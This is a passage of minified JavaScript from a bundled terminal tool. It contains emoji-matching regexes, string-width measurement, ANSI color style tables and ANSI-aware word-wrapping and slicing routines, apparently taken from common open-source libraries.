DDF2\uDDF3\uDDF5\uDDF7\uDDFC\uDDFE\uDDFF]|\uDDF1\uD83C[\uDDE6-\uDDE8\uDDEE\uDDF0\uDDF7-\uDDFB\uDDFE]|\uDDF2\uD83C[\uDDE6\uDDE8-\uDDED\uDDF0-\uDDFF]|\uDDF3\uD83C[\uDDE6\uDDE8\uDDEA-\uDDEC\uDDEE\uDDF1\uDDF4\uDDF5\uDDF7\uDDFA\uDDFF]|\uDDF4\uD83C\uDDF2|\uDDF5\uD83C[\uDDE6\uDDEA-\uDDED\uDDF0-\uDDF3\uDDF7-\uDDF9\uDDFC\uDDFE]|\uDDF6\uD83C\uDDE6|\uDDF7\uD83C[\uDDEA\uDDF4\uDDF8\uDDFA\uDDFC]|\uDDF8\uD83C[\uDDE6-\uDDEA\uDDEC-\uDDF4\uDDF7-\uDDF9\uDDFB\uDDFD-\uDDFF]|\uDDF9\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDED\uDDEF-\uDDF4\uDDF7\uDDF9\uDDFB\uDDFC\uDDFF]|\uDDFA\uD83C[\uDDE6\uDDEC\uDDF2\uDDF3\uDDF8\uDDFE\uDDFF]|\uDDFB\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDEE\uDDF3\uDDFA]|\uDDFC\uD83C[\uDDEB\uDDF8]|\uDDFD\uD83C\uDDF0|\uDDFE\uD83C[\uDDEA\uDDF9]|\uDDFF\uD83C[\uDDE6\uDDF2\uDDFC]|\uDF44(?:\u200D\uD83D\uDFEB)?|\uDF4B(?:\u200D\uD83D\uDFE9)?|\uDFC3(?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D(?:[\u2640\u2642]\uFE0F?(?:\u200D\u27A1\uFE0F?)?|\u27A1\uFE0F?))?|\uDFF3\uFE0F?(?:\u200D(?:\u26A7\uFE0F?|\uD83C\uDF08))?|\uDFF4(?:\u200D\u2620\uFE0F?|\uDB40\uDC67\uDB40\uDC62\uDB40(?:\uDC65\uDB40\uDC6E\uDB40\uDC67|\uDC73\uDB40\uDC63\uDB40\uDC74|\uDC77\uDB40\uDC6C\uDB40\uDC73)\uDB40\uDC7F)?)|\uD83D(?:[\uDC3F\uDCFD\uDD49\uDD4A\uDD6F\uDD70\uDD73\uDD76-\uDD79\uDD87\uDD8A-\uDD8D\uDDA5\uDDA8\uDDB1\uDDB2\uDDBC\uDDC2-\uDDC4\uDDD1-\uDDD3\uDDDC-\uDDDE\uDDE1\uDDE3\uDDE8\uDDEF\uDDF3\uDDFA\uDECB\uDECD-\uDECF\uDEE0-\uDEE5\uDEE9\uDEF0\uDEF3]\uFE0F?|[\uDC42\uDC43\uDC46-\uDC50\uDC66\uDC67\uDC6B-\uDC6D\uDC72\uDC74-\uDC76\uDC78\uDC7C\uDC83\uDC85\uDC8F\uDC91\uDCAA\uDD7A\uDD95\uDD96\uDE4C\uDE4F\uDEC0\uDECC](?:\uD83C[\uDFFB-\uDFFF])?|[\uDC6E\uDC70\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4\uDEB5](?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDD74\uDD90](?:\uD83C[\uDFFB-\uDFFF]|\uFE0F)?|[\uDC00-\uDC07\uDC09-\uDC14\uDC16-\uDC25\uDC27-\uDC3A\uDC3C-\uDC3E\uDC40\uDC44\uDC45\uDC51-\uDC65\uDC6A\uDC79-\uDC7B\uDC7D-\uDC80\uDC84\uDC88-\uDC8E\uDC90\uDC92-\uDCA9\uDCAB-\uDCFC\uDCFF-\uDD3D\uDD4B-\uDD4E\uDD50-\uDD67\uDDA4\uDDFB-\uDE2D\uDE2F-\uDE34\uDE37-\uDE41\uDE43\uDE44\uDE48-\uDE4A\uDE80-\uDEA2\uDEA4-\uDEB3\uDEB7-\uDEBF\uDEC1-\uDEC5\uDED0-\uDED2\uDED5-\uDED7\uDEDC-\uDEDF\uDEEB\uDEEC\uDEF4-\uDEFC\uDFE0-\uDFEB\uDFF0]|\uDC08(?:\u200D\u2B1B)?|\uDC15(?:\u200D\uD83E\uDDBA)?|\uDC26(?:\u200D(?:\u2B1B|\uD83D\uDD25))?|\uDC3B(?:\u200D\u2744\uFE0F?)?|\uDC41\uFE0F?(?:\u200D\uD83D\uDDE8\uFE0F?)?|\uDC68(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D(?:[\uDC68\uDC69]\u200D\uD83D(?:\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?)|[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?)|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]))|\uD83C(?:\uDFFB(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFC-\uDFFF])))?|\uDFFC(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB\uDFFD-\uDFFF])))?|\uDFFD(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])))?|\uDFFE(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB-\uDFFD\uDFFF])))?|\uDFFF(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?\uDC68\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB-\uDFFE])))?))?|\uDC69(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?[\uDC68\uDC69]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D(?:[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?|\uDC69\u200D\uD83D(?:\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?))|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]))|\uD83C(?:\uDFFB(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFC-\uDFFF])))?|\uDFFC(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB\uDFFD-\uDFFF])))?|\uDFFD(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])))?|\uDFFE(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB-\uDFFD\uDFFF])))?|\uDFFF(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB-\uDFFE])))?))?|\uDC6F(?:\u200D[\u2640\u2642]\uFE0F?)?|\uDD75(?:\uD83C[\uDFFB-\uDFFF]|\uFE0F)?(?:\u200D[\u2640\u2642]\uFE0F?)?|\uDE2E(?:\u200D\uD83D\uDCA8)?|\uDE35(?:\u200D\uD83D\uDCAB)?|\uDE36(?:\u200D\uD83C\uDF2B\uFE0F?)?|\uDE42(?:\u200D[\u2194\u2195]\uFE0F?)?|\uDEB6(?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D(?:[\u2640\u2642]\uFE0F?(?:\u200D\u27A1\uFE0F?)?|\u27A1\uFE0F?))?)|\uD83E(?:[\uDD0C\uDD0F\uDD18-\uDD1F\uDD30-\uDD34\uDD36\uDD77\uDDB5\uDDB6\uDDBB\uDDD2\uDDD3\uDDD5\uDEC3-\uDEC5\uDEF0\uDEF2-\uDEF8](?:\uD83C[\uDFFB-\uDFFF])?|[\uDD26\uDD35\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD\uDDCF\uDDD4\uDDD6-\uDDDD](?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDDDE\uDDDF](?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDD0D\uDD0E\uDD10-\uDD17\uDD20-\uDD25\uDD27-\uDD2F\uDD3A\uDD3F-\uDD45\uDD47-\uDD76\uDD78-\uDDB4\uDDB7\uDDBA\uDDBC-\uDDCC\uDDD0\uDDE0-\uDDFF\uDE70-\uDE7C\uDE80-\uDE89\uDE8F-\uDEC2\uDEC6\uDECE-\uDEDC\uDEDF-\uDEE9]|\uDD3C(?:\u200D[\u2640\u2642]\uFE0F?|\uD83C[\uDFFB-\uDFFF])?|\uDDCE(?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D(?:[\u2640\u2642]\uFE0F?(?:\u200D\u27A1\uFE0F?)?|\u27A1\uFE0F?))?|\uDDD1(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1|\uDDD1\u200D\uD83E\uDDD2(?:\u200D\uD83E\uDDD2)?|\uDDD2(?:\u200D\uD83E\uDDD2)?))|\uD83C(?:\uDFFB(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFC-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFC(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB\uDFFD-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFD(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFE(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB-\uDFFD\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFF(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB-\uDFFE]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF\uDDBC\uDDBD](?:\u200D\u27A1\uFE0F?)?|[\uDDB0-\uDDB3]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?))?|\uDEF1(?:\uD83C(?:\uDFFB(?:\u200D\uD83E\uDEF2\uD83C[\uDFFC-\uDFFF])?|\uDFFC(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB\uDFFD-\uDFFF])?|\uDFFD(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])?|\uDFFE(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB-\uDFFD\uDFFF])?|\uDFFF(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB-\uDFFE])?))?)/g}});function J4A(A,K={}){if(typeof A!=="string"||A.length===0)return 0;let{ambiguousIsNarrow:q=!0,countAnsiEscapeCodes:Y=!1}=K;if(!Y)A=AH(A);if(A.length===0)return 0;let z=0,w={ambiguousAsWide:!q};for(let{segment:H}of Ys3.segment(A)){let J=H.codePointAt(0);if(J<=31||J>=127&&J<=159)continue;if(J>=8203&&J<=8207||J===65279)continue;if(J>=768&&J<=879||J>=6832&&J<=6911||J>=7616&&J<=7679||J>=8400&&J<=8447||J>=65056&&J<=65071)continue;if(J>=55296&&J<=57343)continue;if(J>=65024&&J<=65039)continue;if(zs3.test(H))continue;if(sJ4.default().test(H)){z+=2;continue}z+=H4A(J,w)}return z}var sJ4,Ys3,zs3;var tJ4=k(()=>{bk();LyA();sJ4=o(aJ4(),1),Ys3=new Intl.Segmenter,zs3=/^\p{Default_Ignorable_Code_Point}$/u});function Js3(){let A=new Map;for(let[K,q]of Object.entries(fJ)){for(let[Y,z]of Object.entries(q))fJ[Y]={open:`\x1B[${z[0]}m`,close:`\x1B[${z[1]}m`},q[Y]=fJ[Y],A.set(z[0],z[1]);Object.defineProperty(fJ,K,{value:q,enumerable:!1})}return Object.defineProperty(fJ,"codes",{value:A,enumerable:!1}),fJ.color.close="\x1B[39m",fJ.bgColor.close="\x1B[49m",fJ.color.ansi=eJ4(),fJ.color.ansi256=AO4(),fJ.color.ansi16m=KO4(),fJ.bgColor.ansi=eJ4(10),fJ.bgColor.ansi256=AO4(10),fJ.bgColor.ansi16m=KO4(10),Object.defineProperties(fJ,{rgbToAnsi256:{value:(K,q,Y)=>{if(K===q&&q===Y){if(K<8)return 16;if(K>248)return 231;return Math.round((K-8)/247*24)+232}return 16+36*Math.round(K/255*5)+6*Math.round(q/255*5)+Math.round(Y/255*5)},enumerable:!1},hexToRgb:{value:(K)=>{let q=/[a-f\d]{6}|[a-f\d]{3}/i.exec(K.toString(16));if(!q)return[0,0,0];let[Y]=q;if(Y.length===3)Y=[...Y].map((w)=>w+w).join("");let z=Number.parseInt(Y,16);return[z>>16&255,z>>8&255,z&255]},enumerable:!1},hexToAnsi256:{value:(K)=>fJ.rgbToAnsi256(...fJ.hexToRgb(K)),enumerable:!1},ansi256ToAnsi:{value:(K)=>{if(K<8)return 30+K;if(K<16)return 90+(K-8);let q,Y,z;if(K>=232)q=((K-232)*10+8)/255,Y=q,z=q;else{K-=16;let J=K%36;q=Math.floor(K/36)/5,Y=Math.floor(J/6)/5,z=J%6/5}let w=Math.max(q,Y,z)*2;if(w===0)return 30;let H=30+(Math.round(z)<<2|Math.round(Y)<<1|Math.round(q));if(w===2)H+=60;return H},enumerable:!1},rgbToAnsi:{value:(K,q,Y)=>fJ.ansi256ToAnsi(fJ.rgbToAnsi256(K,q,Y)),enumerable:!1},hexToAnsi:{value:(K)=>fJ.ansi256ToAnsi(fJ.hexToAnsi256(K)),enumerable:!1}}),fJ}var eJ4=(A=0)=>(K)=>`\x1B[${K+A}m`,AO4=(A=0)=>(K)=>`\x1B[${38+A};5;${K}m`,KO4=(A=0)=>(K,q,Y)=>`\x1B[${38+A};2;${K};${q};${Y}m`,fJ,Oqw,ws3,Hs3,Xqw,Os3,a0;var RyA=k(()=>{fJ={modifier:{reset:[0,0],bold:[1,22],dim:[2,22],italic:[3,23],underline:[4,24],overline:[53,55],inverse:[7,27],hidden:[8,28],strikethrough:[9,29]},color:{black:[30,39],red:[31,39],green:[32,39],yellow:[33,39],blue:[34,39],magenta:[35,39],cyan:[36,39],white:[37,39],blackBright:[90,39],gray:[90,39],grey:[90,39],redBright:[91,39],greenBright:[92,39],yellowBright:[93,39],blueBright:[94,39],magentaBright:[95,39],cyanBright:[96,39],whiteBright:[97,39]},bgColor:{bgBlack:[40,49],bgRed:[41,49],bgGreen:[42,49],bgYellow:[43,49],bgBlue:[44,49],bgMagenta:[45,49],bgCyan:[46,49],bgWhite:[47,49],bgBlackBright:[100,49],bgGray:[100,49],bgGrey:[100,49],bgRedBright:[101,49],bgGreenBright:[102,49],bgYellowBright:[103,49],bgBlueBright:[104,49],bgMagentaBright:[105,49],bgCyanBright:[106,49],bgWhiteBright:[107,49]}},Oqw=Object.keys(fJ.modifier),ws3=Object.keys(fJ.color),Hs3=Object.keys(fJ.bgColor),Xqw=[...ws3,...Hs3];Os3=Js3(),a0=Os3});function zr(A,K,q){return String(A).normalize().replaceAll(`\r `,` `).split(` `).map((Y)=>Zs3(Y,K,q)).join(` `)}var H51,Xs3=39,Q76="\x07",zO4="[",$s3="]",wO4="m",w51,qO4=(A)=>`${H51.values().next().value}${zO4}${A}${wO4}`,YO4=(A)=>`${H51.values().next().value}${w51}${A}${Q76}`,_s3=(A)=>A.split(" ").map((K)=>J4A(K)),F76=(A,K,q)=>{let Y=[...K],z=!1,w=!1,H=J4A(AH(A.at(-1)));for(let[J,O]of Y.entries()){let X=J4A(O);if(H+X<=q)A[A.length-1]+=O;else A.push(O),H=0;if(H51.has(O))z=!0,w=Y.slice(J+1,J+1+w51.length).join("")===w51;if(z){if(w){if(O===Q76)z=!1,w=!1}else if(O===wO4)z=!1;continue}if(H+=X,H===q&&J<Y.length-1)A.push(""),H=0}if(!H&&A.at(-1).length>0&&A.length>1)A[A.length-2]+=A.pop()},Gs3=(A)=>{let K=A.split(" "),q=K.length;while(q>0){if(J4A(K[q-1])>0)break;q--}if(q===K.length)return A;return K.slice(0,q).join(" ")+K.slice(q).join("")},Zs3=(A,K,q={})=>{if(q.trim!==!1&&A.trim()==="")return"";let Y="",z,w,H=_s3(A),J=[""];for(let[_,G]of A.split(" ").entries()){if(q.trim!==!1)J[J.length-1]=J.at(-1).trimStart();let Z=J4A(J.at(-1));if(_!==0){if(Z>=K&&(q.wordWrap===!1||q.trim===!1))J.push(""),Z=0;if(Z>0||q.trim===!1)J[J.length-1]+=" ",Z++}if(q.hard&&H[_]>K){let W=K-Z,D=1+Math.floor((H[_]-W-1)/K);if(Math.floor((H[_]-1)/K)<D)J.push("");F76(J,G,K);continue}if(Z+H[_]>K&&Z>0&&H[_]>0){if(q.wordWrap===!1&&Z<K){F76(J,G,K);continue}J.push("")}if(Z+H[_]>K&&q.wordWrap===!1){F76(J,G,K);continue}J[J.length-1]+=G}if(q.trim!==!1)J=J.map((_)=>Gs3(_));let O=J.join(` `),X=[...O],$=0;for(let[_,G]of X.entries()){if(Y+=G,H51.has(G)){let{groups:W}=new RegExp(`(?:\\${zO4}(?<code>\\d+)m|\\${w51}(?<uri>.*)${Q76})`).exec(O.slice($))||{groups:{}};if(W.code!==void 0){let D=Number.parseFloat(W.code);z=D===Xs3?void 0:D}else if(W.uri!==void 0)w=W.uri.length===0?void 0:W.uri}let Z=a0.codes.get(Number(z));if(X[_+1]===` `){if(w)Y+=YO4("");if(z&&Z)Y+=qO4(Z)}else if(G===` `){if(z&&Z)Y+=qO4(z);if(w)Y+=YO4(w)}$+=G.length}return Y};var J51=k(()=>{tJ4();bk();RyA();H51=new Set(["\x1B",""]),w51=`${$s3}8;;`});function U76(A){if(!Number.isInteger(A))return!1;return A>=4352&&(A<=4447||A===9001||A===9002||11904<=A&&A<=12871&&A!==12351||12880<=A&&A<=19903||19968<=A&&A<=42182||43360<=A&&A<=43388||44032<=A&&A<=55203||63744<=A&&A<=64255||65040<=A&&A<=65049||65072<=A&&A<=65131||65281<=A&&A<=65376||65504<=A&&A<=65510||110592<=A&&A<=110593||127488<=A&&A<=127569||131072<=A&&A<=262141)}function Rx(A,K,q){let Y=[...A],z=[],w=typeof q==="number"?q:Y.length,H=!1,J,O=0,X="";for(let[$,_]of Y.entries()){let G=!1;if(JO4.includes(_)){let Z=/\d[^m]*/.exec(A.slice($,$+18));if(J=Z&&Z.length>0?Z[0]:void 0,O<w){if(H=!0,J!==void 0)z.push(J)}}else if(H&&_==="m")H=!1,G=!0;if(!H&&!G)O++;if(!Ws3.test(_)&&U76(_.codePointAt())){if(O++,typeof q!=="number")w++}if(O>K&&O<=w)X+=_;else if(O===K&&!H&&J!==void 0)X=HO4(z);else if(O>=w){X+=HO4(z,!0,J);break}}return X}var Ws3,JO4,O51=(A)=>`${JO4[0]}[${A}m`,HO4=(A,K,q)=>{let Y=[];A=[...A];for(let z of A){let w=z;if(z.includes(";"))z=z.split(";")[0][0]+"0";let H=a0.codes.get(Number.parseInt(z,10));if(H){let J=A.indexOf(H.toString());if(J===-1)Y.push(O51(K?H:w));else A.splice(J,1)}else if(K){Y.push(O51(0));break}else Y.push(O51(w))}if(K){if(Y=Y.filter((z,w)=>Y.indexOf(z)===w),q!==void 0){let z=O51(a0.codes.get(Number.parseInt(q,10)));Y=Y.reduce((w,H)=>H===z?[H,...w]:[...w,H],[])}}return Y.join("")};var OO4=k(()=>{RyA();Ws3=/^[\uD800-\uDBFF][\uDC00-\uDFFF]$/,JO4=["\x1B",""]});var $O4=v((Vqw,XO4)=>{XO4.exports=()=>{return/[#*0-9]\uFE0F?\u20E3|[\xA9\xAE\u203C\u2049\u2122\u2139\u2194-\u2199\u21A9\u21AA\u231A\u231B\u2328\u23CF\u23ED-\u23EF\u23F1\u23F2\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB\u25FC\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638-\u263A\u2640\u2642\u2648-\u2653\u265F\u2660\u2663\u2665\u2666\u2668\u267B\u267E\u267F\u2692\u2694-\u2697\u2699\u269B\u269C\u26A0\u26A7\u26AA\u26B0\u26B1\u26BD\u26BE\u26C4\u26C8\u26CF\u26D1\u26E9\u26F0-\u26F5\u26F7\u26F8\u26FA\u2702\u2708\u2709\u270F\u2712\u2714\u2716\u271D\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u27A1\u2934\u2935\u2B05-\u2B07\u2B1B\u2B1C\u2B55\u3030\u303D\u3297\u3299]\uFE0F?|[\u261D\u270C\u270D](?:\uD83C[\uDFFB-\uDFFF]|\uFE0F)?|[\u270A\u270B](?:\uD83C[\uDFFB-\uDFFF])?|[\u23E9-\u23EC\u23F0\u23F3\u25FD\u2693\u26A1\u26AB\u26C5\u26CE\u26D4\u26EA\u26FD\u2705\u2728\u274C\u274E\u2753-\u2755\u2795-\u2797\u27B0\u27BF\u2B50]|\u26D3\uFE0F?(?:\u200D\uD83D\uDCA5)?|\u26F9(?:\uD83C[\uDFFB-\uDFFF]|\uFE0F)?(?:\u200D[\u2640\u2642]\uFE0F?)?|\u2764\uFE0F?(?:\u200D(?:\uD83D\uDD25|\uD83E\uDE79))?|\uD83C(?:[\uDC04\uDD70\uDD71\uDD7E\uDD7F\uDE02\uDE37\uDF21\uDF24-\uDF2C\uDF36\uDF7D\uDF96\uDF97\uDF99-\uDF9B\uDF9E\uDF9F\uDFCD\uDFCE\uDFD4-\uDFDF\uDFF5\uDFF7]\uFE0F?|[\uDF85\uDFC2\uDFC7](?:\uD83C[\uDFFB-\uDFFF])?|[\uDFC4\uDFCA](?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDFCB\uDFCC](?:\u